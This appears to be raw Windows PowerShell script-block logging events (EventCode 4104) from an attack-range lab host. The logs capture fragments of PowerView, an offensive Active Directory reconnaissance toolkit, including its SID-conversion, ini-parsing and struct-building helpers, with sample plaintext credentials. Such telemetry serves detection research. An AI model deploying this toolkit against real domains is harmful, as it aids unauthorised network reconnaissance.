( ($Value -band $UACValue.Value) -eq $UACValue.Value) { $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") } } } $ResultUACValues } } function Get-PrincipalContext { <# .SYNOPSIS Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext and simplified identity. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .PARAMETER Identity A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202), or a DOMAIN\username identity. .PARAMETER Domain Specifies the domain to use to search for user/group principals, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. #> [Dia ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997190 Keywords=None Message=Creating Scriptblock text (4 of 54): ry = $True, Position = 1)] [ValidateNotNullOrEmpty()] [String] $Path, [Parameter(Position = 2)] [ValidateNotNullOrEmpty()] [Char] $Delimiter = ',', [Switch] $Append ) BEGIN { $OutputPath = [IO.Path]::GetFullPath($PSBoundParameters['Path']) $Exists = [System.IO.File]::Exists($OutputPath) # mutex so threaded code doesn't stomp on the output file $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex' $Null = $Mutex.WaitOne() if ($PSBoundParameters['Append']) { $FileMode = [System.IO.FileMode]::Append } else { $FileMode = [System.IO.FileMode]::Create $Exists = $False } $CSVStream = New-Object IO.FileStream($OutputPath, $FileMode, [System.IO.FileAccess]::Write, [IO.FileShare]::Read) $CSVWriter = New-Object System.IO.StreamWriter($CSVStream) $CSVWriter.AutoFlush = $True } PROCESS { ForEach ($Entry in $InputObject) { $ObjectCSV = ConvertTo-Csv -InputObject $Entry -Delimiter $Delimiter -NoTypeInformation if (-not $Exists) { # output the object field names as well $ObjectCSV | ForEach-Object { $CSVWriter.WriteLine($_) } $Exists = $True } else { # only output object field data $ObjectCSV[1..($ObjectCSV.Length-1)] | ForEach-Object { $CSVWriter.WriteLine($_) } } } } END { $Mutex.ReleaseMutex() $CSVWriter.Dispose() $CSVStream.Dispose() } } function Resolve-IPAddress { <# .SYNOPSIS Resolves a given hostename to its associated IPv4 address. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Resolves a given hostename to its associated IPv4 address using [Net.Dns]::GetHostEntry(). If no hostname is provided, the default is the IP address of the localhost. .EXAMPLE Resolve-IPAddress -ComputerName SERVER .EXAMPLE @("SERVER1", "SERVER2") | Resolve-IPAddress .INPUTS String Accepts one or more IP address strings on the pipeline. .OUTPUTS System.Management.Automation.PSCustomObject A custom PSObject with the ComputerName and IPAddress. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('HostName', 'dnshostname', 'name')] [ValidateNotNullOrEmpty()] [String[]] $ComputerName = $Env:COMPUTERNAME ) PROCESS { ForEach ($Computer in $ComputerName) { try { @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object { if ($_.AddressFamily -eq 'InterNetwork') { $Out = New-Object PSObject $Out | Add-Member Noteproperty 'ComputerName' $Computer $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString $Out } } } catch { Write-Verbose "[Resolve-IPAddress] Could not resolve $Computer to an IP Address." } } } } function ConvertTo-SID { <# .SYNOPSIS Converts a given user/group name to a security identifier (SID). Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Convert-ADName, Get-DomainObject, Get-Domain .DESCRIPTION Converts a "DOMAIN\username" syntax to a security identifier (SID) using System.Security.Principal.NTAccount's translate function. If alternate credentials are supplied, then Get-ADObject is used to try to map the name to a security identifier. .PARAMETER ObjectName The user/group name to convert, can be 'user' or 'DOMAIN\user' format. .PARAMETER Domain Specifies the domain to use for the translation, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to for the translation. .PARAMETER Credential Specifies an alternate credential to use for the translation. .EXAMPLE ConvertTo-SID 'DEV\dfm' .EXAMPLE 'DEV\dfm','DEV\krbtgt' | ConvertTo-SID .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) 'TESTLAB\dfm' | ConvertTo-SID -Credential $Cred .INPUTS String Accepts one or more username specification strings on the pipeline. .OUTPUTS String A string representing the SID of the translated name. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([String])] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('Name', 'Identity')] [String[]] $ObjectName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $DomainSearcherArguments = @{} if ($PSBoundParameters['Domain']) { $DomainSearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $DomainSearcherArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $DomainSearcherArguments['Credential'] = $Credential } } PROCESS { ForEach ($Object in $ObjectName) { $Object = $Object -Replace '/','\' if ($PSBoundParameters['Credential']) { $DN = Convert-ADName -Identity $Object -OutputType 'DN' @DomainSearcherArguments if ($DN) { $UserDomain = $DN.SubString($DN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' $UserName = $DN.Split(',')[0].split('=')[1] $DomainSearcherArguments['Identity'] = $UserName $DomainSearcherArguments['Domain'] = $UserDomain $DomainSearcherArguments['Properties'] = 'objectsid' Get-DomainObject @DomainSearcherArguments | Select-Object -Expand objectsid } } else { try { if ($Object.Contains('\')) { $Domain = $Object.Split('\')[0] $Object = $Object.Split('\')[1] } elseif (-not $PSBoundParameters['Domain']) { $DomainSearcherArguments = @{} $Domain = (Get-Domain @DomainSearcherArguments).Name } $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $Object)) $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value } catch { Write-Verbose "[ConvertTo-SID] Error converting $Domain\$Object : $_" } } } } } function ConvertFrom-SID { <# .SYNOPSIS Converts a security identifier (SID) to a group/user name. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Convert-ADName .DESCRIPTION Converts a security identifier string (SID) to a group/user name using Convert-ADName. .PARAMETER ObjectSid Specifies one or more SIDs to convert. .PARAMETER Domain Specifies the domain to use for the translation, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to for the translation. .PARAMETER Credential Specifies an alternate credential to use for the translation. .EXAMPLE ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 TESTLAB\harmj0y .EXAMPLE "S-1-5-21-890171859-3433809279-3366196753-1107", "S-1-5-21-890171859-3433809279-3366196753-1108", "S-1-5-32-562" | ConvertFrom-SID TESTLAB\WINDOWS2$ TESTLAB\harmj0y BUILTIN\Distributed COM Users .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) ConvertFrom-SID S-1-5-21-890171859-3433809279-3366196753-1108 -Credential $Cred TESTLAB\harmj0y .INPUTS String Accepts one or more SID strings on the pipeline. .OUTPUTS String The converted DOMAIN\username. #> [OutputType([String])] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('SID')] [ValidatePattern('^S-1-.*')] [String[]] $ObjectSid, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $ADNameArguments = @{} if ($PSBoundParameters['Domain']) { $ADNameArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } } PROCESS { ForEach ($TargetSid in $ObjectSid) { $TargetSid = $TargetSid.trim('*') try { # try to resolve any built-in SIDs first - https://support.microsoft.com/en-us/kb/243330 Switch ($TargetSid) { 'S-1-0' { 'Null Authority' } 'S-1-0-0' { 'Nobody' } 'S-1-1' { 'World Authority' } 'S-1-1-0' { 'Everyone' } 'S-1-2' { 'Local Authority' } 'S-1-2-0' { 'Local' } 'S-1-2-1' { 'Console Logon ' } 'S-1-3' { 'Creator Authority' } 'S-1-3-0' { 'Creator Owner' } 'S-1-3-1' { 'Creator Group' } 'S-1-3-2' { 'Creator Owner Server' } 'S-1-3-3' { 'Creator Group Server' } 'S-1-3-4' { 'Owner Rights' } 'S-1-4' { 'Non-unique Authority' } 'S-1-5' { 'NT Authority' } 'S-1-5-1' { 'Dialup' } 'S-1-5-2' { 'Network' } 'S-1-5-3' { 'Batch' } 'S-1-5-4' { 'Interactive' } 'S-1-5-6' { 'Service' } 'S-1-5-7' { 'Anonymous' } 'S-1-5-8' { 'Proxy' } 'S-1-5-9' { 'Enterprise Domain Controllers' } 'S-1-5-10' { 'Principal Self' } 'S-1-5-11' { 'Authenticated Users' } 'S-1-5-12' { 'Restricted Code' } 'S-1-5-13' { 'Terminal Server Users' } 'S-1-5-14' { 'Remote Interactive Logon' } 'S-1-5-15' { 'This Organization ' } 'S-1-5-17' { 'This Organization ' } 'S-1-5-18' { 'Local System' } 'S-1-5-19' { 'NT Authority' } 'S-1-5-20' { 'NT Authority' } 'S-1-5-80-0' { 'All Services ' } 'S-1-5-32-544' { 'BUILTIN\Administrators' } 'S-1-5-32-545' { 'BUILTIN\Users' } 'S-1-5-32-546' { 'BUILTIN\Guests' } 'S-1-5-32-547' { 'BUILTIN\Power Users' } 'S-1-5-32-548' { 'BUILTIN\Account Operators' } 'S-1-5-32-549' { 'BUILTIN\Server Operators' } 'S-1-5-32-550' { 'BUILTIN\Print Operators' } 'S-1-5-32-551' { 'BUILTIN\Backup Operators' } 'S-1-5-32-552' { 'BUILTIN\Replicators' } 'S-1-5-32-554' { 'BUILTIN\Pre-Windows 2000 Compatible Access' } 'S-1-5-32-555' { 'BUILTIN\Remote Desktop Users' } 'S-1-5-32-556' { 'BUILTIN\Network Configuration Operators' } 'S-1-5-32-557' { 'BUILTIN\Incoming Forest Trust Builders' } 'S-1-5-32-558' { 'BUILTIN\Performance Monitor Users' } 'S-1-5-32-559' { 'BUILTIN\Performance Log Users' } 'S-1-5-32-560' { 'BUILTIN\Windows Authorization Access Group' } 'S-1-5-32-561' { 'BUILTIN\Terminal Server License Servers' } 'S-1-5-32-562' { 'BUILTIN\Distributed COM Users' } 'S-1-5-32-569' { 'BUILTIN\Cryptographic Operators' } 'S-1-5-32-573' { 'BUILTIN\Event Log Readers' } 'S-1-5-32-574' { 'BUILTIN\Certificate Service DCOM Access' } 'S-1-5-32-575' { 'BUILTIN\RDS Remote Access Servers' } 'S-1-5-32-576' { 'BUILTIN\RDS Endpoint Servers' } 'S-1-5-32-577' { 'BUILTIN\RDS Management Servers' } 'S-1-5-32-578' { 'BUILTIN\Hyper-V Administrators' } 'S-1-5-32-579' { 'BUILTIN\Access Control Assistance Operators' } 'S-1-5-32-580' { 'BUILTIN\Access Control Assistance Operators' } Default { Convert-ADName -Identity $TargetSid @ADNameArguments } } } catch { Write-Verbose "[ConvertFrom-SID] Error converting SID '$TargetSid' : $_" } } } } function Convert-ADName { <# .SYNOPSIS Converts Active Directory object names between a variety of formats. Author: Bill Ste ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997189 Keywords=None Message=Creating Scriptblock text (3 of 54): [ValidateCount(2,2)] [int[]]$ValidateLength, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [string]$ValidatePattern, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [scriptblock]$ValidateScript, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [string[]]$ValidateSet, [Parameter(ValueFromPipelineByPropertyName = $true, ParameterSetName = 'DynamicParameter')] [ValidateNotNullOrEmpty()] [ValidateScript({ if(!($_ -is [System.Management.Automation.RuntimeDefinedParameterDictionary])) { Throw 'Dictionary must be a System.Management.Automation.RuntimeDefinedParameterDictionary object' } $true })] $Dictionary = $false, [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] [switch]$CreateVariables, [Parameter(Mandatory = $true, ValueFromPipelineByPropertyName = $true, ParameterSetName = 'CreateVariables')] [ValidateNotNullOrEmpty()] [ValidateScript({ # System.Management.Automation.PSBoundParametersDictionary is an internal sealed class, # so one can't use PowerShell's '-is' operator to validate type. if($_.GetType().Name -notmatch 'Dictionary') { Throw 'BoundParameters must be a System.Management.Automation.PSBoundParametersDictionary object' } $true })] $BoundParameters ) Begin { $InternalDictionary = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameterDictionary function _temp { [CmdletBinding()] Param() } $CommonParameters = (Get-Command _temp).Parameters.Keys } Process { if($CreateVariables) { $BoundKeys = $BoundParameters.Keys | Where-Object { $CommonParameters -notcontains $_ } ForEach($Parameter in $BoundKeys) { if ($Parameter) { Set-Variable -Name $Parameter -Value $BoundParameters.$Parameter -Scope 1 -Force } } } else { $StaleKeys = @() $StaleKeys = $PSBoundParameters.GetEnumerator() | ForEach-Object { if($_.Value.PSobject.Methods.Name -match '^Equals$') { # If object has Equals, compare bound key and variable using it if(!$_.Value.Equals((Get-Variable -Name $_.Key -ValueOnly -Scope 0))) { $_.Key } } else { # If object doesn't has Equals (e.g. $null), fallback to the PowerShell's -ne operator if($_.Value -ne (Get-Variable -Name $_.Key -ValueOnly -Scope 0)) { $_.Key } } } if($StaleKeys) { $StaleKeys | ForEach-Object {[void]$PSBoundParameters.Remove($_)} } # Since we rely solely on $PSBoundParameters, we don't have access to default values for unbound parameters $UnboundParameters = (Get-Command -Name ($PSCmdlet.MyInvocation.InvocationName)).Parameters.GetEnumerator() | # Find parameters that are belong to the current parameter set Where-Object { $_.Value.ParameterSets.Keys -contains $PsCmdlet.ParameterSetName } | Select-Object -ExpandProperty Key | # Find unbound parameters in the current parameter set Where-Object { $PSBoundParameters.Keys -notcontains $_ } # Even if parameter is not bound, corresponding variable is created with parameter's default value (if specified) $tmp = $null ForEach ($Parameter in $UnboundParameters) { $DefaultValue = Get-Variable -Name $Parameter -ValueOnly -Scope 0 if(!$PSBoundParameters.TryGetValue($Parameter, [ref]$tmp) -and $DefaultValue) { $PSBoundParameters.$Parameter = $DefaultValue } } if($Dictionary) { $DPDictionary = $Dictionary } else { $DPDictionary = $InternalDictionary } # Shortcut for getting local variables $GetVar = {Get-Variable -Name $_ -ValueOnly -Scope 0} # Strings to match attributes and validation arguments $AttributeRegex = '^(Mandatory|Position|ParameterSetName|DontShow|HelpMessage|ValueFromPipeline|ValueFromPipelineByPropertyName|ValueFromRemainingArguments)$' $ValidationRegex = '^(AllowNull|AllowEmptyString|AllowEmptyCollection|ValidateCount|ValidateLength|ValidatePattern|ValidateRange|ValidateScript|ValidateSet|ValidateNotNull|ValidateNotNullOrEmpty)$' $AliasRegex = '^Alias$' $ParameterAttribute = New-Object -TypeName System.Management.Automation.ParameterAttribute switch -regex ($PSBoundParameters.Keys) { $AttributeRegex { Try { $ParameterAttribute.$_ = . $GetVar } Catch { $_ } continue } } if($DPDictionary.Keys -contains $Name) { $DPDictionary.$Name.Attributes.Add($ParameterAttribute) } else { $AttributeCollection = New-Object -TypeName Collections.ObjectModel.Collection[System.Attribute] switch -regex ($PSBoundParameters.Keys) { $ValidationRegex { Try { $ParameterOptions = New-Object -TypeName "System.Management.Automation.${_}Attribute" -ArgumentList (. $GetVar) -ErrorAction Stop $AttributeCollection.Add($ParameterOptions) } Catch { $_ } continue } $AliasRegex { Try { $ParameterAlias = New-Object -TypeName System.Management.Automation.AliasAttribute -ArgumentList (. $GetVar) -ErrorAction Stop $AttributeCollection.Add($ParameterAlias) continue } Catch { $_ } } } $AttributeCollection.Add($ParameterAttribute) $Parameter = New-Object -TypeName System.Management.Automation.RuntimeDefinedParameter -ArgumentList @($Name, $Type, $AttributeCollection) $DPDictionary.Add($Name, $Parameter) } } } End { if(!$CreateVariables -and !$Dictionary) { $DPDictionary } } } function Get-IniContent { <# .SYNOPSIS This helper parses an .ini file into a hashtable. Author: 'The Scripting Guys' Modifications: @harmj0y (-Credential support) License: BSD 3-Clause Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection .DESCRIPTION Parses an .ini file into a hashtable. If -Credential is supplied, then Add-RemoteConnection is used to map \\COMPUTERNAME\IPC$, the file is parsed, and then the connection is destroyed with Remove-RemoteConnection. .PARAMETER Path Specifies the path to the .ini file to parse. .PARAMETER OutputObject Switch. Output a custom PSObject instead of a hashtable. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the remote system. .EXAMPLE Get-IniContent C:\Windows\example.ini .EXAMPLE "C:\Windows\example.ini" | Get-IniContent -OutputObject Outputs the .ini details as a proper nested PSObject. .EXAMPLE "C:\Windows\example.ini" | Get-IniContent .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-IniContent -Path \\PRIMARY.testlab.local\C$\Temp\GptTmpl.inf -Credential $Cred .INPUTS String Accepts one or more .ini paths on the pipeline. .OUTPUTS Hashtable Ouputs a hashtable representing the parsed .ini file. .LINK https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([Hashtable])] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('FullName', 'Name')] [ValidateNotNullOrEmpty()] [String[]] $Path, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty, [Switch] $OutputObject ) BEGIN { $MappedComputers = @{} } PROCESS { ForEach ($TargetPath in $Path) { if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { $HostComputer = (New-Object System.Uri($TargetPath)).Host if (-not $MappedComputers[$HostComputer]) { # map IPC$ to this computer if it's not already Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential $MappedComputers[$HostComputer] = $True } } if (Test-Path -Path $TargetPath) { if ($PSBoundParameters['OutputObject']) { $IniObject = New-Object PSObject } else { $IniObject = @{} } Switch -Regex -File $TargetPath { "^\[(.+)\]" # Section { $Section = $matches[1].Trim() if ($PSBoundParameters['OutputObject']) { $Section = $Section.Replace(' ', '') $SectionObject = New-Object PSObject $IniObject | Add-Member Noteproperty $Section $SectionObject } else { $IniObject[$Section] = @{} } $CommentCount = 0 } "^(;.*)$" # Comment { $Value = $matches[1].Trim() $CommentCount = $CommentCount + 1 $Name = 'Comment' + $CommentCount if ($PSBoundParameters['OutputObject']) { $Name = $Name.Replace(' ', '') $IniObject.$Section | Add-Member Noteproperty $Name $Value } else { $IniObject[$Section][$Name] = $Value } } "(.+?)\s*=(.*)" # Key { $Name, $Value = $matches[1..2] $Name = $Name.Trim() $Values = $Value.split(',') | ForEach-Object { $_.Trim() } # if ($Values -isnot [System.Array]) { $Values = @($Values) } if ($PSBoundParameters['OutputObject']) { $Name = $Name.Replace(' ', '') $IniObject.$Section | Add-Member Noteproperty $Name $Values } else { $IniObject[$Section][$Name] = $Values } } } $IniObject } } } END { # remove the IPC$ mappings $MappedComputers.Keys | Remove-RemoteConnection } } function Export-PowerViewCSV { <# .SYNOPSIS Converts objects into a series of comma-separated (CSV) strings and saves the strings in a CSV file in a thread-safe manner. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION This helper exports an -InputObject to a .csv in a thread-safe manner using a mutex. This is so the various multi-threaded functions in PowerView has a thread-safe way to export output to the same file. Uses .NET IO.FileStream/IO.StreamWriter objects for speed. Originally based on Dmitry Sotnikov's Export-CSV code: http://poshcode.org/1590 .PARAMETER InputObject Specifies the objects to export as CSV strings. .PARAMETER Path Specifies the path to the CSV output file. .PARAMETER Delimiter Specifies a delimiter to separate the property values. The default is a comma (,) .PARAMETER Append Indicates that this cmdlet adds the CSV output to the end of the specified file. Without this parameter, Export-PowerViewCSV replaces the file contents without warning. .EXAMPLE Get-DomainUser | Export-PowerViewCSV -Path "users.csv" .EXAMPLE Get-DomainUser | Export-PowerViewCSV -Path "users.csv" -Append -Delimiter '|' .INPUTS PSObject Accepts one or more PSObjects on the pipeline. .LINK http://poshcode.org/1590 http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/ #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [CmdletBinding()] Param( [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [System.Management.Automation.PSObject[]] $InputObject, [Parameter(Mandato ScriptBlock ID: b3b39c61-fbbd-474f-bac2-4446b5fbad5a Path: 09/09/2021 06:18:27 PM LogName=Microsoft-Windows-PowerShell/Operational SourceName=Microsoft-Windows-PowerShell EventCode=4104 EventType=3 Type=Warning ComputerName=win-host-987.attackrange.local User=NOT_TRANSLATED Sid=S-1-5-21-1166625382-1442148322-2337405042-2397 SidType=0 TaskCategory=Execute a Remote Command OpCode=On create calls RecordNumber=1997188 Keywords=None Message=Creating Scriptblock text (2 of 54): ing a hashtable where each field of the struct is comprosed of the order in which it should be defined, its .NET type, and optionally, its offset and special marshaling attributes. One of the features of 'struct' is that after your struct is defined, it will come with a built-in GetSize method as well as an explicit converter so that you can easily cast an IntPtr to the struct without relying upon calling SizeOf and/or PtrToStructure in the Marshal class. .PARAMETER Module The in-memory module that will host the struct. Use New-InMemoryModule to define an in-memory module. .PARAMETER FullName The fully-qualified name of the struct. .PARAMETER StructFields A hashtable of fields. Use the 'field' helper function to ease defining each field. .PARAMETER PackingSize Specifies the memory alignment of fields. .PARAMETER ExplicitLayout Indicates that an explicit offset for each field will be specified. .EXAMPLE $Mod = New-InMemoryModule -ModuleName Win32 $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ DOS_SIGNATURE = 0x5A4D OS2_SIGNATURE = 0x454E OS2_SIGNATURE_LE = 0x454C VXD_SIGNATURE = 0x454C } $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ e_magic = field 0 $ImageDosSignature e_cblp = field 1 UInt16 e_cp = field 2 UInt16 e_crlc = field 3 UInt16 e_cparhdr = field 4 UInt16 e_minalloc = field 5 UInt16 e_maxalloc = field 6 UInt16 e_ss = field 7 UInt16 e_sp = field 8 UInt16 e_csum = field 9 UInt16 e_ip = field 10 UInt16 e_cs = field 11 UInt16 e_lfarlc = field 12 UInt16 e_ovno = field 13 UInt16 e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) e_oemid = field 15 UInt16 e_oeminfo = field 16 UInt16 e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) e_lfanew = field 18 Int32 } # Example of using an explicit layout in order to create a union. $TestUnion = struct $Mod TestUnion @{ field1 = field 0 UInt32 0 field2 = field 1 IntPtr 0 } -ExplicitLayout .NOTES PowerShell purists may disagree with the naming of this function but again, this was developed in such a way so as to emulate a "C style" definition as closely as possible. Sorry, I'm not going to name it New-Struct. :P #> [OutputType([Type])] Param ( [Parameter(Position = 1, Mandatory=$True)] [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] $Module, [Parameter(Position = 2, Mandatory=$True)] [ValidateNotNullOrEmpty()] [String] $FullName, [Parameter(Position = 3, Mandatory=$True)] [ValidateNotNullOrEmpty()] [Hashtable] $StructFields, [Reflection.Emit.PackingSize] $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, [Switch] $ExplicitLayout ) if ($Module -is [Reflection.Assembly]) { return ($Module.GetType($FullName)) } [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, Class, Public, Sealed, BeforeFieldInit' if ($ExplicitLayout) { $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout } else { $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout } $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) $Fields = New-Object Hashtable[]($StructFields.Count) # Sort each field according to the orders specified # Unfortunately, PSv2 doesn't have the luxury of the # hashtable [Ordered] accelerator. foreach ($Field in $StructFields.Keys) { $Index = $StructFields[$Field]['Position'] $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} } foreach ($Field in $Fields) { $FieldName = $Field['FieldName'] $FieldProp = $Field['Properties'] $Offset = $FieldProp['Offset'] $Type = $FieldProp['Type'] $MarshalAs = $FieldProp['MarshalAs'] $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') if ($MarshalAs) { $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) if ($MarshalAs[1]) { $Size = $MarshalAs[1] $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $UnmanagedType, $SizeConst, @($Size)) } else { $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) } $NewField.SetCustomAttribute($AttribBuilder) } if ($ExplicitLayout) { $NewField.SetOffset($Offset) } } # Make the struct aware of its own size. # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! $SizeMethod = $StructBuilder.DefineMethod('GetSize', 'Public, Static', [Int], [Type[]] @()) $ILGenerator = $SizeMethod.GetILGenerator() # Thanks for the help, Jason Shirk! $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, [Type].GetMethod('GetTypeFromHandle')) $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) # Allow for explicit casting from an IntPtr # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', 'PrivateScope, Public, Static, HideBySig, SpecialName', $StructBuilder, [Type[]] @([IntPtr])) $ILGenerator2 = $ImplicitConverter.GetILGenerator() $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, [Type].GetMethod('GetTypeFromHandle')) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) $StructBuilder.CreateType() } ######################################################## # # Misc. helpers # ######################################################## Function New-DynamicParameter { <# .SYNOPSIS Helper function to simplify creating dynamic parameters. Adapated from https://beatcracker.wordpress.com/2015/08/10/dynamic-parameters-validateset-and-enums/. Originally released under the Microsoft Public License (Ms-PL). .DESCRIPTION Helper function to simplify creating dynamic parameters. Example use cases: Include parameters only if your environment dictates it Include parameters depending on the value of a user-specified parameter Provide tab completion and intellisense for parameters, depending on the environment Please keep in mind that all dynamic parameters you create, will not have corresponding variables created. Use New-DynamicParameter with 'CreateVariables' switch in your main code block, ('Process' for advanced functions) to create those variables. Alternatively, manually reference $PSBoundParameters for the dynamic parameter value. This function has two operating modes: 1. All dynamic parameters created in one pass using pipeline input to the function. This mode allows to create dynamic parameters en masse, with one function call. There is no need to create and maintain custom RuntimeDefinedParameterDictionary. 2. Dynamic parameters are created by separate function calls and added to the RuntimeDefinedParameterDictionary you created beforehand. Then you output this RuntimeDefinedParameterDictionary to the pipeline. This allows more fine-grained control of the dynamic parameters, with custom conditions and so on. .NOTES Credits to jrich523 and ramblingcookiemonster for their initial code and inspiration: 